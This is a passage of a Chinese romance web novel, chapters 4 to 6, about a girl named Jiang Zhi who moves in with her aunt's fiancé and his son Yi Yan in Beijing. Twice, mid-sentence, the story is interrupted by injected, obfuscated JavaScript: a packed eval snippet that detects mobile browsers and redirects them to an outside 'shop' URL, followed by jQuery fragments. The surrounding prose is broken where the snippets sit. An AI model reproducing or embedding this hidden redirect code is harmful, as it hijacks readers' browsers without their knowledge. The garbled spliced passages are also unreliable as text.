“什么叫应该?”门卫看着这眼瞧像受惊了的小姑娘,意识到语气太过,不自觉放柔语调,循循善诱地接着问:“你小姨叫什么名儿。”
“韩妗。”
“你给她打个电话让她出来接你。”
“……好的。”
江栀听话点开微信,转手拨了个语音通话出去。
意外地,响了很久没人接。
门卫倒也不着急催,反而热心肠地扬手招呼她坐着歇歇,等会儿再打一遍。
江栀礼貌道谢,还真就坐下等着了。
可惜半个钟头过去,她没等来韩妗回电,却先等到对面三米外刚从车上下来的易晏。
这会儿时候不早,学校附近来往进出的人也少,就江栀买过烤冷面的那家大姨两分钟收摊前,还超好心地把剩下那点没卖出去的食材一锅全煎了送她。
估计是觉得她可怜。
江栀当时的确感动得稀里哗啦,想付钱,但人大姨死活不肯收,说扔了也浪费。
不得不说,世上还是好人多。
为了不糟蹋粮食,江栀径直接过竹签扎了一大块就往嘴巴塞,却猝不及防被呛得咳嗽。
“坏了,我忘记说,辣椒油也没法隔夜。”
“……”
所以是都刷上了。
“得,小姑娘。我这还有瓶没开封的矿泉水,你喝吧。”
见大姨自知好心办坏事,神情复杂瞅着她,江栀也不好意思矫情,硬着头皮非把手里一份豪华烤冷面当她面吃完。
明明呛得眼泪汪汪,还咬牙硬挺:“没事阿姨,我能吃辣,刚就是,咳咳……”
咳好半天,才干巴巴接上句:“谢谢您哦,真的很好吃。”
整得大姨内疚又感动,不停帮她拍背顺气。
然后她又受宠若惊,连连鞠躬说“不用,别再耽误您时间了,快回家去吧。”
阵仗整得跟对拜高堂一样。
画面诡异得像AI合成。
易晏隔空望向不远处那一幕,心想,她还真是够受欢迎的。
原本蒋嘉嚷嚷说要捞人,他还没放心上,压根不觉得能再遇着。
北京这么大,得什么缘分,一天碰仨回。
当玩消消乐呢?
结果,这都没挨过晚上,就又见到了。
而且这姑娘瞧着也是个奇人,看样子真就讨好性人格来的。
简直把“随便吧”这种对内的不良生活态度贯彻落实到了极致。分明辣得话都说不利索,还操心劝人家别管她,哪儿养的德行呢。
易晏难得兴致上来,干脆抱胸驻足原地欣赏了会儿她的装腔作势假客气。
又眼睁睁盯着她把人大姨推回三蹦子送走,之后紧急折身一把捞过矿泉水瓶拧开了瓶盖。
他唇畔挂着的浅淡笑意没来得及收。
就看见,前方原本正背对他喝水的那人忽而猛地一扭头。
视线无比精准地锁定他的方位。
“……”
直勾勾对上她一双略显迷茫的眉眼,易晏胳膊下意识卸力,徐徐垂至身体两侧,表情更是足足延迟五秒,才勉强恢复如常。
看什么看啊你。
水不喝了是怎么着?
全顺嘴角往下淌完了……
4. 演技派
*
易晏冷淡收眼,插兜自她身侧经过,腕上虚垂着的礼品袋随走动幅度哐里哐啷响。
对面那人还在看他。
眼神专注,顶着张清清白白的迷茫样儿,一眨不眨盯着他手腕瞅,也不说稍微收敛点。
“……”
她这人怎么回事儿?
看看看,有什么好看的。
再看报警了。
刷脸时,易晏若无其事地掀了掀眼皮,眸光飞速往她的方向一掠,不经意闪过她手边和他同样logo的袋子。
忽地,又定住。
“……”
眼光不错。
他手上提的这份见面礼是他参考了静文欣提议以及他妈妈冯曼妮女士的日常审美,买的一款同品牌香水。
白袋黑花,和她手里的包装正好反过来。
还挺巧。
易晏歪过头,不确定地又看了眼。
她……不会也住家属楼吧?
以前没见过啊。
不过,易晏很快便释然。毕竟他以前跟爷爷奶奶住万柳,也不咋来这儿。
没见过正常。
实话讲,就门禁挡板里外这点距离,挨得还算蛮近,光打得也足够亮堂。
所以,对方的那道视线突然剜过来。
就,还挺明显的。
江栀想骗自己装作看不见都难。
她原本低垂着脑袋,干巴巴地站着,并不想和他有什么直接的目光接触。
可等了好几秒,都没听到他有所动静,人烦得不行,索性一抬头,决定正面杠上去。
结果就在这一秒。
易晏的眼睛别开了。
“……”
“……”
江栀一口气憋在嗓子眼不上不下,呛了口冷空气,又不停咳嗽起来。
气氛约莫僵持那么两三秒钟。
她视野边缘忽然出现了一只男孩子的手。
五指指根微拢,骨节分明的拇指和食指并抵住一包小王子联名手帕纸,慢慢推至她眼底。
江栀呼吸没来由地卡顿。
大概半天没见她有接的打算。
“新的。”
少年嗓音寡淡,尾调却夹杂了一股微不可察的鼻音,显得整个人松懒非常。
“放心用。”
“……”
江栀尴尬接过,道了声谢。
掀睫,终于能够毫无阻碍地看清楚那双倦怠但清澈的眼。
风一吹,他衣角裹挟着特有的栀子清香,自然而然便扑了她满身。
一触即分的对视。
易晏淡淡“嗯”声,算作回应,随后径直转身离开,背影融进茫茫夜色。
“诶——”江栀后知后觉出声。
可惜他走得太快,目之所及,早没了人影。
江栀掌心收拢攥紧纸巾,三秒后又放松,轻而缓地眨了下眼睫。
不是他自己在电话说今天赶不回来的吗?
玩忘了?
-
韩妗下午的时候和易年一起出门吃了顿饭,走得着急,把包给拉屋里了,到地方才想起这回事,但又觉得一般周末工作也没啥事,干脆懒得再掉头回去专门拿一趟。
所以,江栀的电话这才迟迟没有着落。
吃完饭,开着车回来。
路上等红灯时手拨方向盘打了个转向,还止不住操心唠叨说什么预防针都没有,两孩子万一最后住不到一块可怎么办。
关键是单位分的房子面积小,不比小晏假期住惯了的四合院,还为给江栀腾房间,把他赶去书房住,人孩子能同意吗?如果实在不行,趁现在转学手续没办利索,转到二附也成啊,反正离她租的房子近,他们大人就暂且再凑合一两年呗,到时候领完证同居一样。
可易年不同意:“咱多大人了还凑合呢?”
而后,又让她安心:“你别成天杞人忧天,这不都还没见面么,怎么就知道相处不来?”
“虽说阿晏自小性子是被养得娇气了些,但总归男孩子,要连这点容人胸襟都没有,那可真是太不应该了。”
“唉,我主要也不是担心他。”
“得了,你甭管,我现在给那小子发信儿,让他回来自觉点,给妹妹带份礼。”
“咋就成妹妹了?”韩妗好笑道:“我没记错的话,俩人同一天生的。”
“啧,别说。”
她隔窗望一眼前方拥堵的路况,降速,慢吞吞跟在高架桥的车流后头,感慨:“怪有缘的。”
“咱不讲究那个。”易年摆摆手说:“他够被惯着的了,也该学学照顾别人。”
“反倒是江栀,你姐才过世不久,别看这孩子表面瞧上去像没事人,心里八成苦着呢。”
韩妗闻言轻哂:“大教授。”
“嗯?”
“我说你判断力够严谨啊,就这还八成呢?明摆是绝对好不好。”她没再和他开玩笑:“既然你如此通情达理,那我也不和你装模作样了。”
恰到好处地安静片刻。
“我姐就只留了这一个姑娘托我照看,好坏我可是准备当自己亲闺女养的。”
成年人的谈话总是点到为止。
“知道。”男人低笑,似并不介意:“早就让你别绷着,非不听,整天瞎客气。”
韩妗但笑不语。
随后话题又扯到另一边,两人重新聊了点别的不伤感情的事情。
等前方的路一通,车子平稳拐进辅路,开着开着,也逐渐逼近家属院。
进门前易年目光随意一扫,一眼就瞧见门卫室外无精打采垂丧着脑袋的江栀。
“坏了,忘给栀栀弄人脸识别了。”易年说着,摁下车窗,朝门卫那儿招手示意。
韩妗皱了皱眉:“……你可真行。”
不远处门卫看见易年,十分热情地迎上前打招呼:“易教授,回来了啊。”
江栀耳朵动了动,抬头。
“嗯,”易年象征颔首,喊她:“栀栀,快上车。”
“易教授,这您家孩子啊?”
“对。”
“可…她刚刚说来找她小姨。”
“她小姨是我未婚妻。”
几句简单寒暄。
来龙去脉一清二楚,门卫讪讪一摸鼻子,了然:“害,您瞧这事儿闹的。”
“给你们添麻烦,我回去得空就把材料发给你们队长,您给看着往系统里输一下。”
“小事儿。”门卫表示理解:“您先忙。”
江栀老实坐上车后座。
跟韩妗和易年一道来到单元楼楼底的停车位,下了车。
后备厢升起,易年主动帮她拿行李。
江栀推辞不开,看着他费劲吧啦的样子,心存不忍地开口:“小姨父,我自己来吧。”
她箱子是有点重。
然而,易年却大手一挥,逞强:“没事,你先跟你小姨上去吧。”
正好韩妗指尖转着车钥匙绕开车头过来。
“走吧,就当给你易叔个锻炼身体的机会。”
“……”
该说不说,这栋楼从外面就能看出来有些年头了,好像还是那年易年刚聘职入教时,大学里头给统一组织分的,不算高,满打满算总共五层,他因为不常住,所以也没特意选楼层,最终毫无悬念被安排在了顶楼。
走廊靠左的一间。
而且对面瞧着也不像是有人住的感觉。
楼道内灰扑扑的,到处都是飞扬的尘埃。
江栀踩着楼梯爬上来,听她小姨在前方碎碎念着解释:“对门原先的住户和你易叔一届毕业留校,听说人前两年在外面买了房,又嫌这儿上下没个电梯,就搬出去了。”
“家里屋子我和你易叔今天专门收拾过,东西差不多已经整理得七七八八,你待会进去先自个儿看看,如果遇见缺什么、或者不满意的地方,跟我提就成。”
钥匙插进去,右拧。
防盗门锁芯“咯嘣”一下弹开,发出又闷又脆的声响。
韩妗手腕下摁,压着扶手缓慢把门拉开。
江栀下意识屏了屏呼吸。
咦?黑的?
跟随韩妗的脚步进屋,江栀好奇地向里张望。
顶灯被人摸着墙根按下开关打亮。
户型就是普通的三室一厅格局,主卧自带独立卫浴挨厨房,穿过客厅面对面有两间屋子,南大北小,中间隔了一个共用卫生间。
“你就住南边那间。”韩妗换好拖鞋,随手给她指了指。
江栀心不在焉地进门晃了一圈儿,甚至连餐厅都瞅过了,愣是没看着人。
奇怪。
难不成她猜错了?
但易叔叔屏保的确是他啊。
不能单纯只是长得像、又恰好住一块吧?
“……”
别是碰上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483648|201892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鬼打墙了。
江栀正发散思维想着,略显疑惑地慢慢将手提着的袋子放到茶几上。
“呦,买包了?”韩妗一直没注意,好像这下才看见她手上拎着的东西。
“……不是。”看不穿她此时的想法,江栀紧急公关:“买了香水。”
这回轮到韩妗不懂了:“你没事买那玩意儿干嘛?”
“……”江栀本来是想实话实说“送人”,但照目前来看,理由貌似稍微有那么一点点站不住脚,于是只好改口说逛街时随便看见的,实在经不住导购推销,就买了一小支。
韩妗听完以后,问:“只买了一小支?”
“嗯嗯。”显而易见,江栀这丫头的脑回路压根没和她同频上,模样还特认真地想了想,而后开口就是保证:“我以后不乱花了。”
“……”韩妗张了张口。
就在这时,门口突然传来脚步声,紧接着,像是有人敲了敲门。
两人的对话蓦然中止。
“估计你易叔上来了。”韩妗说着,随即迎至门边,顺力道自里拉开,扭过头,朝外看去。
可下一秒。
却在和少年困惑眸光相交汇时,表情难得怔愣一瞬,原先酝酿好的揶揄都到了嘴边,又生生咽下,换上一派更为得体的笑意,唤人。
“阿晏回来了啊。”
周遭静悄悄的。
江栀视线被韩妗背影遮挡住大半,恰逢门外又是逆光,一时半会还真没看清那人长什么样儿,但就直观而言,个子应该很高。
而且不知道为什么,她忽然就心慌得离谱,左右眼皮轮番跳啊跳,抽筋似的,不明白不过见个面而已,自己怎么就能忐忑成这样。
“出门一趟累坏了吧?”
韩妗仍在关切地询问。
那少年还没来得及应话。
后一脚跟来的易年先没好气地接上。
“累什么啊累,这小子精着呢,肯定来回都订的商务舱。”
“……”韩妗不赞同地打圆场:“那也劳烦人呐。”
“劳什么啊,你猜我从哪儿逮到的他?”
“哪儿?”
“楼下花园长椅。”
易年说完,不忘嫌弃瞥他一眼:“早回来是吧?不会先上楼?专门搁待那儿喂蚊子呢?”
说完,男生似乎笑了下。
“还真是,什么事儿都瞒不过您。”
声线熟悉又张扬。依旧是那种懒散且拖腔带调的口吻,只不过,语意中好似隐隐包含了一丝极其微妙的不开心和抱怨。
顿了顿,复又控诉道:“那您倒是记得给我留把家钥匙啊。”
易年:“不是你说明儿才回么,我哪儿预判得了你这阴晴不定的行踪。”
“预判不了您还不停给我打电话?”
“我那是——”易年气不顺,话说一半想起正事,也懒得和这小子扯皮,一手托行李,一手顺势揪着易晏走进来,越过韩妗冲江栀介绍:“栀栀,这是易晏。”
“我儿子,不出意外,以后就是你哥哥了。”
易晏无奈耷拉着脑袋,小幅度挣扎,尝试活动了一下手腕:“怎么就成哥哥了呢,您刚还和我说同岁……”
“闭嘴。”
易年手撤开:“你给人带的礼物呢?”
“喔。”易晏听出他这一百八十度大转弯的态度,忽地乐了,倒是也没顶嘴说什么,不紧不慢回手捞过坠在行李箱拉杆上的礼袋,撩眼,顺着易年示意的方向歪头看去。
刚巧江栀也正在偷偷观察他。
不偏不倚。
两人再次隔空撞了个正着。
“……”
“……”
“江栀。”
寂静中,韩妗率先察觉不对劲,不免出言提醒:“别没礼貌,快喊人。”
声毕。
江栀迅速回神。
“哥哥。”
她从小到大除过嘴甜没锻炼出别的本事。
每逢必要场合,就显得特别乖。
易晏漆色的眸审视般掠向她,眼神清冷。
可也就仅仅两三秒,便又恢复成起先那种吊儿郎当没正形的样子,不咸不淡扯起唇角。
没接她茬儿。
对面,江栀将他这一系列变化尽收眼底。
不禁在心底竖大拇指。
瞧瞧!多么淡定。
要不说人才是真正演技派呢!
5. 王子病
*
正当江栀还沉浸在对易晏如教科书般丝滑切换的演技中连连称叹时,旁边易年大概觉得他墨迹,直接一把夺过袋子塞到江栀手上。
江栀愣了愣,刚准备道谢,忽听头顶慢悠悠飘下来一句略献玩味的揶揄——
“妹妹,有回礼么。”
其实易晏这话就是说着玩的。
不过想旁敲侧击打探一下她是否早有预谋,毕竟,这接二连的碰面,怎么看怎么巧。
说不是故意。
谁信呐。
既然打一开始就认出来,还搁那儿装傻个什么劲儿?
易少爷觉得自己有种被当猴耍的感觉。
心里不太爽,就想给她挑挑事儿。
结果人还没说话呢。
他亲爹先第一个不乐意,抬掌,不客气地朝他后脑来了那么一下,不疼,但却是易晏从小到大第一次挨揍:“你给我好好说话。”
“……”
他请问呢?他哪里没好好说话了?
皱眉欣赏了一会儿自己亲爹的川剧变脸,易晏不大开心地别开眼,有点闹情绪。
“没有就没有呗,还不能开玩笑问问了。”
“凶什么。”
“……”韩妗瞪易年一眼,易年嘴巴动了动,像是也才后知后觉发觉自己这行为摆明偏心得有些过火,正打算开口弥补两句,却听江栀利索出声。
“有的哥哥。”
“包有的。”
话落,三个人皆是一怔,随即视线齐刷刷看过去,反应各异。
江栀在他们的注视下取过搁在茶几上的同款礼品袋,两边手掂了掂份量,短暂思考过后,也不大好意思再把教辅书拿出来,索性连带着一块,忍痛割爱地递到易晏面前。
“我随便买的。”江栀声音又轻又淡,看他时面上表情小心翼翼,像在看什么凶神恶煞的坏蛋:“不知道哥哥喜不喜欢,要是不喜欢……”
她眼睫缓慢低下去,丧丧的、颓颓的、自暴自弃一样:“我再重新买。”
“……”
“毕竟哥哥礼物这么贵重,我很喜欢,回礼也是应该的。”
“……”
简简单单几句话。
直接把易晏人架那儿了。
任谁旁观全程后不得感慨一声。
多鲜明且强烈的对比。
易年那抹疏于平衡的愧疚和自省立马消失得无影无踪,反而又莫名其妙改口教训了易晏一通。
“你看栀栀多懂事。”
易晏:“……”
真特么遇着对手了。
易晏气不畅,但又不好发作,不情不愿伸手接了。
别说,还挺重。
但也别真送他个包吧。
他回头再补差价。
这事还有完没完了?
易晏这么想,眼神便顺带着往袋内瞄了一下,蓦地沉默。
“……”
不是,这应该已经不只是单纯关乎喜好的事儿了吧?他选礼物好歹还用了点心呢,她送他一套《学探诊》几个意思啊?
-
晚上九点二十。
江栀总算把箱内衣服一件件地收拾出来,一股脑全塞进衣柜。
腿蹲得发麻,她手撑膝盖站起来,回身累瘫平躺在床上,睁眼瞪着白茫茫的天花板放空。
约莫休息了几分钟,衣兜里手机适时“叮咚”响一声。
江栀随手摸出来,姿势不变,抬到眼前摁亮。
——是条微信提示。
她设置过不具体显示详情,所以锁屏根本看不见是谁发来的。
挪动身子侧躺,改换两只手平举,拇指交替跳跃按在屏幕的数字键盘上,输入密码解锁。
之后界面跳转。
文字内容还没看清,程昱的语音邀请就二话不说打了过来。
“……”
无奈,江栀只能慢吞吞坐起身,下地绕过乱七八糟腾出来的一堆塑料袋,去扒拉被扔在电脑椅上的书包,找了副耳机戴上。
莫名的,在她耳机仓打开的同时,弹框跳出蓝牙提醒。
江栀没细看,径直选择忽略,指尖下滑,确认了重新连接。
掌心传来一下震动。
她垂眸,望着眼前的一片狼藉轻叹了口气。
程昱是她在老家那边的发小。
除了他,还有一位叫盛憬川的,不比程昱算打小一起长大,是高一上学期才认识。
当时初升高如果按入校成绩的总分,她排名本该和这人并列,却因为语文分差,不得已屈尊掉到第二,自此便跟他杠上。
三人分在一班,加上前后桌的地理优势,也算不打不相识。
江栀好胜心强,盛憬川自然不遑多让。两人没事儿就爱比,特别每次月考前后,那架势跟俩冰窖似的,冻得周围人胆颤心惊。
偏偏程昱那缺心眼的死活看不出来,还硬生生给他们拉帮结伙建了个小群,再加上江栀的同桌许桐,号称一中成功人(4),日常总搭伙干饭,久而久之,便渐渐熟络起来。
除去一些重要的考试场合,盛憬川和江栀日常也不再那么针锋相对,甚至就在暑假前,两人关系还隐约有要化冰的趋势。
不过,这也可能只是程昱单方面理解。
他这人性格就这样,咋咋呼呼没啥心眼,经常就是电话这头一接通,那边就噼里啪啦按耐不住开始讲。
所以这回,江栀照旧是习惯性等着对方先开口,将手机横屏支到枕边,认命躬腰捡垃圾。
然而,静了三秒,对面始终不见动静。
“喂?”她狐疑出声。
又耐心等两秒,结果耳朵里仍然安安静静。
“程昱?”
江栀蹙眉,下意识察觉不对,起身的顺便捞过手机点开,发现通话时长正在逐秒递增。
再往上瞥一眼信号。
满格的。
奇怪。这也没断网啊。
江栀盘腿坐到地上,低头捣鼓,音量往上拉到死,都没听着响。又瞧见程昱头像旁的麦克风图标一闪一闪地冒绿光,琢磨一阵儿,猜测是他网络不佳。
于是缓缓打出句询问,刚要发送,背后倚着的卧室门却突然被人轻敲了两下。
?谁啊?
江栀怔忡之下手一抖,悬停在“enter”上方的指腹触碰又松开,信息发出去。
下一秒,她跟着转身站直,右手拉住把手,把门打开。
厚实门框挨着木地板划蹭而过,缝隙往内扩大,卧室内的暖黄色调向外晕,冲破长廊里的重重昏沉。
江栀稍一仰头,打量的目光由下而上,扫过版型宽松的纯色家居长裤,再沿着同款衣衫虚掩下来人流畅的腰腹线条,到他规规矩矩扣得严实的衣领……
看见酷酷一身黑插兜立在阴影中的易晏。
少年几乎全身融进黑暗。
脖颈处皮肤被灯直晃晃地一照,显得更冷更白,隐隐都有点反光,精致漂亮的喉结凸起,挨得近,还依稀看得见侧边偏左位置缀着的一颗浅褐色小痣。
薄唇微抿,眼皮下垂。
长而密的卷睫坠落,映成眼底一片阴影。
又回到这种四目对望的尴尬局面。
两人眸光轻轻那么一撞。
啧。关键他那眼神……
该怎么形容呢?
估计狗见了都得嫌弃冲他“汪”两声。
“……你,”江栀望着他,迟疑询问道:“是有什么事吗?”
易晏想说这不废话吗?没事儿我至于专程跑出来一趟敲你门?
但他多少还是委婉了些:“嗯。”顿了顿,又淡淡哼一声:“我耳机好像连你这儿了。”
“……”
“哈?”江栀人懵了,然后迅速回过味:“哦哦,小事儿,你不用道歉。”
易晏:“……”
你哪只耳朵听见我要道歉了?还有,你哦什么哦,长得无辜了不起啊,这件事说到底不是该你给我个说法么。
他紧锁眉头睨向她,耳边仿佛还回荡着刚刚听到的那声堪称聒噪的鬼哭狼嚎。
年纪轻轻,什么破眼光。
才多大,就敢学别人早恋。
别再让人给骗了。
易晏自认虽然不算是什么爱管闲事的正义使者好少年,但好歹听人免费叫了两声哥,暂且不说是不是装模作样,至少便宜占过,就没有不多嘴提醒一下的道理。
“有些感情……你一纯情小女生现在看不懂全貌正常,玩玩可以,最好别当真。”
江栀刚把手机拿到眼前,拨拉着按键断掉蓝牙,看见群里程昱回复她一句稍等后,便中断了通话。
忽然冷不丁听着他这声半威胁半警告般的劝诫,脑中蓦地闪现出几帧不合时宜的画面,不禁暗戳戳抬头,想再近距离观望他一眼。
但就是这一眼。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483649|201892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她当即直观感受到了少年身上那种“生人勿近”的压迫气场。
“听见没啊。”
某人彻底不耐烦。
“嗯嗯,知道。”江栀眨巴眼保证:“我一定会保守好秘密的。”
“……”
闻言,不知是不是错觉,易晏脸色貌似更臭了,拉着个脸,嘴角扯起又放下,扫过来的眼风也特淡,能冻死人的架势。
光看着,就不大好相处。
如此反复折腾老半天,最后才紧紧巴巴憋出来两个字:“随你。”
他还不信任上了?
气氛霎那间变得微妙。
江栀正琢磨是不是应该再多说几句发个誓好让他安心。
可面前的人却明显耐心告罄,气呼呼瞪她一下,果断侧身离开,顶着她尚未来得及收回的注目礼走回北屋,反手将门摔得震天响。
也不怕把主卧那两人招来。
“……?”
江栀稀里糊涂反思半晌,直觉自己似乎也没说错话吧?他脾气怎么这么大啊?简直比盛憬川那位王子病还难伺候。
这往后,低头不见抬头见的,日子究竟还过不过了?
江栀理不清头绪,思来想去,决定不再继续为难自己。
随他便吧。
反正她小姨和小姨父又不是不讲理的人,只要她不主动惹事不就好啦?
江栀想通这点后心情也稍稍回落,放松不少。
回房倚门框斜靠,转头接程昱电话时,内心已然默默打定了主意——
既然事不关己,大不了以后在家演一演,出门在外碰面就绕道装作不认识呗。
凑活过,还能拆伙咋滴?
-
不好相处的那人冷脸回到房间。
书桌上还摊着几份试卷。
iPad和手机、耳机一块被随意丢在上头,微信信息还在接二连三轰炸。
叮叮咚咚,响得人实在头疼。
易晏走过去拉开椅子坐好。
伸手扒开那层卷子,从最底下把正在充电的手机抽出来,顺势扯掉长到碍事的充电线,音量下拉触底调成静音,又去设置里重连一遍耳机,连好后再塞进耳内。
音乐自动播放。
他耐着性子按计划往下写了几道题,仍然心烦得不行,干脆停下来,仰面后躺在椅背,闭目养神休整了会儿,右手无意识地转着触屏笔。
歇三秒钟,睁眼。
软件切回微信。
「汪汪队」群果不其然又聊了一大堆有的没的,特别是蒋嘉,十几分钟前就一直在激动地上蹿下跳。
是个帅哥:【@Nukoahow,晏晏!】
是个帅哥:【话说一半,你人呢人呢人呢!】
是个帅哥:【你后妈给你什么回礼?我真的快要好奇死了!】
是个帅哥:【啊啊啊你快说啊,别逼我跪下来求你orz//orz//orz】
“……”
易晏眉梢挑了下,问:【我后妈?】
时差隔了蛮久,中间话题都不知道岔开多少次了,那头蒋嘉竟然还能做到秒回。
是个帅哥:【你到底会不会抓重点?】
易晏牵扯唇角,懒得解释,顺手对着桌角厚塌塌堆着的破书拍了张照片发出去。
小群一下安静了。
远方传来风笛[贺知尧]:【?】
小狗不悲伤[陈乐舟]:【?】
海淀美女[石梦凡]:【?】
三万少女得不到的梦[靳成]:【?】
……
最后,是个帅哥:【晏晏你他喵的卷心菜啊】
易晏后头的话才打到一半。
屏一闪,信息又弹出来一条——
小鱼呆呆[静文欣]:【嘉爷这就说笑了,你晏哥人家只是爱卷,但不菜】
是个帅哥:【……】
有人破防了,特地私信来骂他。
易晏比他还火大:【滚蛋】
蒋嘉:【丫的死装货!我跟你拼了!】
易晏没搭理他。
余光漫不经意往那腾空了的袋中一扫,又瞅到个漏网的。
忽地顿住。
她真行。
还附带送支小样……
等等,小样儿?
易晏蓦地气乐。
可以。
这波挑衅挑得明明白白。
6. 新同学
*
奶奶操心她换了新环境不适应,东西装得实在多,恨不得把所有家当全压缩了给她带上。
行李箱塞得满满当当,整理起来也着实费了好一段功夫。
大概晚上十一点多那会儿,江栀才彻底将东西收拾完。
彼时,手机那头程昱絮叨仍没停下。
一个人聊了近两小时。
待机时间真够长的。
江栀躬身把箱子扣好推到门后的墙角,又蹲身打开衣柜,取了条刚叠好的睡裙抱在怀里,站起来拿过手机,径直冲听筒那边说。
“讲完没啊,没说完的话咱晚点改打字成不成,我还忙着呢。”
“大晚上你忙什么。”
江栀:“洗澡上床啊。”
“咳咳咳……”那边被她这话呛得连声咳嗽,好不容易消停,紧接着又是阵极小声的叽里咕噜碎碎念:“江贝贝,你、你好歹是个女孩子,有些话不要说得这么直接好不好?”
江栀:“……”
还没等江栀反应过来她到底哪儿直接了,以及这普普通通五个字究竟哪里有问题能让他产生这么大反应,群聊语音里同样一直沉默的第三人却先一步冒泡插了话。
“程昱。”
盛憬川毫无起伏的语调再经过一层电流过滤,愈发显得冰冷无情:“讲重点。”
“好嘞,霸霸。”程昱很是狗腿地应和。
江栀:“?”
不是,她才走一天。
他们关系进展这么大的吗?
多亏盛憬川提醒,程昱终于想起打这通电话的目的,当即二话不说清了清嗓,然后嘚吧嘚又开始,劈头盖脸给她一顿骂,用词特花,整场下来顺溜得不带重样。
江栀:“?”
归根结底,就是对她此次不辞而别的转学行径展开了有史以来前所未有的严肃批斗,末了还瞎用梗,义愤填膺质问她。
“你难道是想毁了这个家吗?”
江栀:“……”
程昱乱说话,盛憬川也不拦,两个人商量好一样。一个扮黑脸一个唱红脸:“北京天气不好,自己在外多保重。”
说完,便极其干脆地退出了通话。
好像装聋作哑蹲半天,就只是为了逮着机会说这么一句而已。
江栀问程昱:“盛憬川被夺舍了?”
照以往,这种情况下他不是高低得先阴阳怪气两句吗?
“唉。”程昱老神在在叹口气:“谁知道呢,反正他今早可是发了好大一通脾气。”
“……因为我吗?”
“不然?”程昱呛她一下:“你可真行,消息瞒得紧成这样,那嘴就跟让胶水粘住了,一假期都没见说。”
江栀原本没觉得,被他这么一训,心里还真愧疚了:“对不起,我也是临时才……”
小姨给她消息发得突然,她那阵儿也根本没工夫思考其他的事情,一切匆匆忙忙,就像被命运推着趔趄往前走,她完全没有拒绝的权利。
“贝贝。”程昱忽然沉声喊了她。
“嗯。”自从妈妈走后,江栀很久没有听到有人叫她这个小名了。
“阿姨不在了,你在那边好好的,要是受欺负了就在群里说,我、阿川还有桐桐,绝逼第一时间赶过去帮你报仇。”
江栀扯唇笑:“……你们不上课啦?”
“不上了,刚好扎堆到北京玩去。”
“可别——”江栀伸手揉眼睛:“放心啊,我机灵着呢,才没受欺负。”
“那就好。”程昱说:“你等着啊,赶明十一假,哥哥们肯定组团搭车去看你。”
“行啊,到时候请你们吃饭。”
江栀很上道:“就当赔罪了。”
“这还差不多。”程昱总算肯放过她。
江栀挂断电话,手机捏在掌心中。
背板灼热的余温还残存,她虚靠着衣柜滑下去,抱臂缓了会儿。自行将糟透了的心情调节得七七八八,这才起身推门走出去。
……
同一时间,卫生间内水汽萦绕。
易晏洗完澡,抬手压开关,把淋浴头的水流关掉,顺势抽过搭在左手边架上的一条藏蓝色毛巾,微微弓身,潦草搓了搓头发。
湿漉漉的水珠滴滴答答,沿着少年人沟壑纵横的身体线条滑落。
用作格挡的玻璃门推开,他随手把毛巾挂在脖子上,又扯过盥洗池旁的浴巾,松松围在腰际,赤裸着半身刷完牙,待暖风将身上的潮气烘得差不多半干后,正要换新睡衣,却听见门外面传来窸窸窣窣,像是趿拉拖鞋的响动。
他动作顿了下。
侧眸往门框边扫去。
外面江栀看见里头灯亮着,十分有礼貌地耐心等了会儿。
这道门板其实不怎么隔音,刚还听到水声,停了好久也不见多余动静。
想着他应该快结束,她就懒得再回房一趟,索性背靠墙,安安静静地候着。
结果老实等了半晌,江栀腿都快站麻了,也不见里面有人出来。
……他在里面干嘛呢?
江栀真不是好奇,主要现在时候不早,她确实有点困得撑不住,于是便迟疑直起身凑前,屈肘敲了敲门。
“您好,请问有人在吗?”
“……”屋内的易晏手抓着浴巾脱也不是,挂着也不是。
他方才发现自己忘拿新内裤了。
现在整个人僵在这儿,动也动不了,总不能就这么挂空档出去吧?
旧的说什么都不可能再穿,他这人本身就特事儿,连外衣都是一天两套地换,更别说……
但就目前来看,事出紧急,好像也容不得他搁这儿继续矫情。
敲敲敲,她敲什么啊敲,都知道先说您好还问有人没人?没人他难不成是鬼么。
易晏糟心盯着手边脏衣篓里那一打才换下的旧衣物,闭了闭眼,长呼吸。
“等一下。”嗓音闷闷的。
“哦。”江栀下意识点头,点了两下,又发觉他看不到:“哦哦。”
锁芯响动一声。
把手随力道被人向里猛地拉开。
江栀惯性踉跄退后了几步,仰面。
视线短暂交错一秒。
易晏黑着脸,强忍难受侧了下身,随后三步并两步地迅速绕开她回到自己房间。
“……”
水温很烫吗?他耳朵怎么红成那样啊。
江栀从他背影收回眼,没多想,抬脚进了浴室。
意外地,洗漱台和地面都挺整洁。
除了一时半会儿还难以消散的室温,其余半点不见使用过的痕迹。
江栀回手锁门,目光不由自主落在墙角歪七扭八放着的一堆清洁工具那儿。
他……不会还专门收拾了一下吧?
-
大概是舟车劳顿的原因,江栀这一觉睡得格外好,并没有出现来前奶奶操心的认床现象。
一夜无梦。
甚至第二天闹钟准点响起时。
她睁开眼睛,精神还出现了片刻的恍惚,以为是妈妈在门外喊她。
“栀栀,出来吃早餐。”
不对,不是妈妈。
是小姨。
江栀手撑床坐起来,眨了眨眼,慢慢回过神。
“就来了。”她张口回应,快速爬下床,换好衣服出去。
走到门口时手还抓着头发,忽地想起什么,眼神不自觉往对屋那扇紧闭的房门多看了几秒。
所以他起没起啊?
